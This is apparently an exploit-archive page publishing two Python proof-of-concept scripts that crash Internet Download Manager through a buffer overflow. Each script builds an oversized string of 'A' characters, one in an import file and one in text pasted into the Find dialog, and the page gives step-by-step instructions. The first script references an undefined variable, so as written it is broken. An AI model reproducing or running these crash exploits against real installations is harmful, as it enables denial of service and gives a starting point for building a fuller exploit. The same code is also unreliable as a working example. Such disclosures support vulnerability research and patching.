Internet Download Manager Crash Proof Of Concepts

2015.07.17
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

#!/usr/bin/env python # Title : Internet Download Manager - Crash Proof Of Concept # Affected Versions: All Version # Founder : InternetDownloadManager # Tested on Windows 7 / Server 2008 # # # Author : Mohammad Reza Espargham # Linkedin : https://ir.linkedin.com/in/rezasp # E-Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com # Website : www.reza.es # Twitter : https://twitter.com/rezesp # FaceBook : https://www.facebook.com/mohammadreza.espargham # # # downlWithIDM64.dll Exploit # # # 1 . run python code : python crash.py # 2 . open "IDM" # 3 . Tasks --> Import --> From IDM export file # 4 . select r3z4.ief # 5 . Crashed ;) hdr = "<" #start syntax hcr = "ftp://" #pro crash = "\x41"*1992999 #B0F exp = hdr+hcr+htr+crash+hdr+hcr+htr+crash file = open("r3z4.ief", "w") file.write(exp) file.close() ---------- #!/?usr/?bin/?env python # Title : Internet Download Manager -? Crash Proof Of Concept # Affected Versions: All Version # Founder : InternetDownloadManager # Tested on Windows 7 /? Server 2008 # # # Author : Mohammad Reza Espargham # Linkedin : https://ir.linkedin.com/in/rezasp # E-?Mail : me[at]reza[dot]es , reza.espargham[at]gmail[dot]com # Website : www.reza.es # Twitter : https://twitter.com/rezesp # FaceBook : https://www.facebook.com/mohammadreza.espargham # # # downlWithIDM64.dll Exploit # # # 1 . run python code : python crash.py # 2 . open r3z4.txt and copy content to clipboard # 3 . open "IDM" # 4 . From Menu , Downloads -?-?> Find # 5 . Paste ClipBoard on "File name or part of the name" # 6 . Click Find # 7 . Crashed ;) crash = "\x41"*10000 #B0F file = open("r3z4.txt", "w") file.write(crash) file.close()


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top